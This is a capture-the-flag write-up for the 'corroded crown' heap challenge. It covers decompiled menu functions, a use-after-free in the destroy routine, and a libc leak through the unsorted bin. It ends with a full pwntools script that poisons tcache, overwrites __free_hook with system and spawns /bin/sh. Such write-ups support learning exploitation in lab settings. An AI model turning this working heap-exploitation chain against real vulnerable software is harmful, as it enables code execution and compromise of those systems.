The corroded crown walkthrough
Challenge overview
❯ ls -T . ├── glibc │ ├── ld-linux-x86-64.so.2 │ └── libc.so.6 └── corroded_crown ❯ pwn checksec --file=./corroded_crown [*] '/home/curtain/workspace/CTF_archives/cyber-apocalypse/pwn/corroded_crown/challenge/corroded_crown' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments RUNPATH: b'./glibc/' Stripped: No
The first thing catch my eyes is the stack is executable. But later I cant find
a way to leak stack address for shellcode injection.
❯ file glibc/libc.so.6 glibc/libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-lin ux-x86-64.so.2, BuildID[sha1]=0323ab4806bee6f846d9ad4bccfc29afdca49a58, for GNU/Linux 3.2.0, stripped ❯ strings glibc/libc.so.6 | rg -i 'gnu c' GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.17) stable release version 2.31. Compiled by GNU CC version 9.4.0.
The provided libc is stripped (means no symols) and I detemine the version from strings output.
Heap use-after-use
Now its time to analyze the main logic of program.
/* main() */ 004018a3 printf(format: "1. Forge\n2. Inscribe\n3. Inspect\n4. Destroy\n> ") 004018a3 004018a8 while (true) 004018a8 int32_t choice = read_int() 004018a8 004018b4 if (choice == 4) 004018eb destroy_relic() 004018b4 else 004018ba if (choice s> 4) 00401910 label_401910: 00401910 fwrite(buf: "[ERROR] Invalid choice\n", size: 1, count: 0x17, 00401910 fp: stderr) 0040191a exit(status: 0x520) 0040191a noreturn 0040191a 004018c0 if (choice == 3) 004018e4 inspect_relic() 004018c0 else 004018c6 if (choice s> 3) 004018c6 goto label_401910 004018c6 004018cc if (choice == 1) 004018d6 forge_relic() 004018cc else 004018d2 if (choice != 2) 004018d2 goto label_401910 004018d2 004018dd inscribe_relic()
/* forge_relic() */ 0040125a int32_t index = read_int() 00401271 printf(format: "[?] How much metal shall we shape? (size): ") 00401276 int32_t size = read_int() 00401276 00401288 if (index s< 0 || index s> 0x3f) 004012a8 fwrite(buf: "[ERROR] Invalid index\n", size: 1, count: 0x16, fp: stderr) 004012b2 exit(status: 0x520) 004012b2 noreturn 004012b2 004012bb if (size s< 0) 004012db fwrite(buf: "[ERROR] Invalid size\n", size: 1, count: 0x15, fp: stderr) 004012e5 exit(status: 0x520) 004012e5 noreturn 004012e5 00401303 if (*((sx.q(index) << 4) + &relic.__offset(0xc)) != 0) 00401381 puts(str: "[!] That shelf already holds a relic. The forge refuses.") 00401303 else 00401328 *((sx.q(index) << 4) + &relic) = malloc(bytes: sx.q(size)) 00401342 *((sx.q(index) << 4) + &relic.__offset(0x8)) = size 00401358 *((sx.q(index) << 4) + &relic.__offset(0xc)) = 1 00401370 printf(format: "[+] The relic has been forged and placed upon shelf %d.\n", 00401370 zx.q(index))
Notice the operation from 0x401328-0x401358 which seems like some structure to
relic 'variable'.
After debug with gdb, I could construct a struct at that address like below.
struct Relic { void *addr; int size; char is_used; };
The use-after-use vulnerability exists
/* destroy_relic() */ 004015ee int32_t rax_2 = read_int() 004015ee 00401600 if (rax_2 s< 0 || rax_2 s> 0x3f) 00401620 fwrite(buf: "[ERROR] Invalid index\n", size: 1, count: 0x16, fp: stderr) 0040162a exit(status: 0x520) 0040162a noreturn 0040162a 00401648 if (*((sx.q(rax_2) << 4) + &relic.__offset(0xc)) != 1) 0040169b puts(str: "[!] That shelf is empty. There is nothing to destroy.") 00401648 else 00401664 free(mem: *((sx.q(rax_2) << 4) + &relic)) 0040167c *((sx.q(rax_2) << 4) + &relic.__offset(0xc)) = 0 0040168a puts(str: "[!] The relic crumbles to ash. The mark lingers.")
Notice that the address doesn't be assigned to NULL after free() call! This is a
UAF vulnerability.
IO primitive
read() with inscrible_relic():
004013db int32_t index = read_int() 004013db 004013ed if (index s< 0 || index s> 0x3f) 0040140d fwrite(buf: "[ERROR] Invalid index\n", size: 1, count: 0x16, fp: stderr) 00401417 exit(status: 0x520) 00401417 noreturn 00401417 00401443 printf(format: "[?] Press your inscription into the metal (%d bytes):\n", 00401443 zx.q(*((sx.q(index) << 4) + &relic.__offset(0x8)))) 00401443 00401488 if (read(fd: 0, buf: *((sx.q(index) << 4) + &relic), 00401488 nbytes: sx.q(*((sx.q(index) << 4) + &relic.__offset(0x8)))) == 0) 0040148f _exit(status: 0) 0040148f noreturn
write() with inspect_relic():
004014f8 int32_t rax_2 = read_int() 004014f8 0040150a if (rax_2 s< 0 || rax_2 s> 0x3f) 0040152a fwrite(buf: "[ERROR] Invalid index\n", size: 1, count: 0x16, fp: stderr) 00401534 exit(status: 0x520) 00401534 noreturn 00401534 0040154d printf(format: "[*] Relic [%d]: ", zx.q(rax_2)) 0040158a write(fd: 1, buf: *((sx.q(rax_2) << 4) + &relic), 0040158a nbytes: sx.q(*((sx.q(rax_2) << 4) + &relic.__offset(0x8)))) 00401594 putchar(c: 0xa)
This two functions provide IO primitive for us to leak private address or
corrupt metadata of heap internal!
Exploitation
Since the program doesn't leak stack info and also the PIE protection is enabled, I cant exploit it with shellcode injection.
Leak libc address
Then I realize that I could leak libc address by unsorted_bin. when a big chunk
(exceed the tcache max size 0x410 at 2.31) be freed, it will be put into
unsorted_bin. the fd and bk field of it will point to main_arena->bins field!
which has fixed offset at specific version.
struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; };
The offset of fields:
| field | relative offset to main_arena | size |
|---|---|---|
| mutex | 0x00 | 4 |
| flags | 0x04 | 4 |
| have_fastchunks | 0x08 | 4 |
| (padding) | 0x0c | 4 |
| fastbinsY[10] | 0x10 | 0x50 |
| top | 0x60 | 8 |
| last_remainder | 0x68 | 8 |
| bins[0] | 0x70 | 8 |
| bins[1] | 0x78 | 8 |
| - | - | - |
When a big chunk getting into unsorted bin, the following macro will be used to
get the address of fd and bk:
#define unsorted_chunks(M) (bin_at (M, 1)) #define bin_at(m, i) \ (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \ - offsetof (struct malloc_chunk, fd))
Notice: here bin_at - offsetof(struct malloc_chunk, fd) then put it into fd and bk field of the freed chunk. which construct a fake chunk at that position. So the offset of fd and bk to main_arena is: 0x70 - 0x10 = 0x60.
https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c
void * __libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, "PTRDIFF_MAX is not more than half of SIZE_MAX"); void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); #if USE_TCACHE /* int_free also calls request2size, be careful to not pad twice. */ size_t tbytes; if (!checked_request2size (bytes, &tbytes)) { __set_errno (ENOMEM); return NULL; } size_t tc_idx = csize2tidx (tbytes); MAYBE_INIT_TCACHE (); DIAG_PUSH_NEEDS_COMMENT; if (tc_idx < mp_.tcache_bins && tcache && tcache->counts[tc_idx] > 0) { return tcache_get (tc_idx); } DIAG_POP_NEEDS_COMMENT; #endif if (SINGLE_THREAD_P) { victim = _int_malloc (&main_arena, bytes); /* NOTE@here */ assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))); return victim; } /* .... */ }
Here I search main_arena symbol at source tree, find it's referenced here. So I
use objdump to disassemble this function and get the offset of main_arena.
objdump -M intel --disassemble=__libc_malloc glibc/libc.so.6
;; ..... 9a135: 64 8b 04 25 18 00 00 mov eax,DWORD PTR fs:0x18 ;SINGLE_THREAD_P 9a13c: 00 9a13d: 85 c0 test eax,eax 9a13f: 0f 85 1b 01 00 00 jne 9a260 <__libc_malloc@@GLIBC_2.2.5+0x180> 9a145: 48 89 ee mov rsi,rbp ; bytes 9a148: 48 8d 3d 31 2a 15 00 lea rdi,[rip+0x152a31] # 1ecb80 <__malloc_hook@@GLIBC_2.2.5+0x10> ; main_arena 9a14f: e8 1c d9 ff ff call 97a70 <pthread_attr_setschedparam@@GLIBC_2.2.5+0x2cc0> ;_int_malloc ;; .....
The final offset is: 0x1ecb80 + 0x60! and again GDB help me identify it.
Attack chain
Now, I have the critical leak, I could leverage all stuff with libc! This
version of libc still has __malloc_hook/__free_hook. I could construct a chain
like this:
tcache poisoning to get address of __free_hook -> overwrite it with system address by write primitive -> place string /bin/sh to somewhere -> call free with that /bin/sh pointer -> boom, __free_hook trigger! get shell!
Script
from pwn import * io = process('./corroded_crown') if args.GDB: context.terminal = ['tmux', 'split', '-h'] gdb.attach(io, gdbscript= ''' brva 0x1664 c ''') choice_manner = b'> ' idx_manner = b'(index): ' size_manner = b'(size): ' def forge(idx, size): io.sendlineafter(choice_manner, b'1') io.sendlineafter(idx_manner, str(idx).encode()) io.sendlineafter(size_manner, str(size).encode()) def inscribe(idx, data): io.sendlineafter(choice_manner, b'2') io.sendlineafter(idx_manner, str(idx).encode()) io.sendafter(b':\n', data) def inspect(idx, size): io.sendlineafter(choice_manner, b'3') io.sendlineafter(idx_manner, str(idx).encode()) io.recvuntil(b': ') return io.recvn(size) def destory(idx): io.sendlineafter(choice_manner, b'4') io.sendlineafter(idx_manner, str(idx).encode()) forge(0, 1280) # 0x500 for free into unsorted_bin which could leak fd,bk point to main_arena, libc address forge(1, 80) # avoid consolidation occur with top-chunk when first chunk free destory(0) main_arena_addr = u64(inspect(0, 1280)[:8]) info(f'main_arena_addr: {hex(main_arena_addr)}') libc = ELF('./glibc/libc.so.6', checksec=False) main_arena_offset = 0x1ecbe0 # inform from src and disassembler libc.address = main_arena_addr - main_arena_offset free_hook = libc.sym.__free_hook system = libc.sym.system info(f'libc: {hex(libc.address)}, __free_hook addr: {hex(free_hook)}, system addr: {hex(system)}') forge(2, 8) forge(3, 8) destory(2) destory(3) inscribe(3, p64(free_hook)) forge(4, 8) forge(5, 8) inscribe(5, p64(system)) forge(6, 8) inscribe(6, b'/bin/sh\x00') destory(6) io.interactive()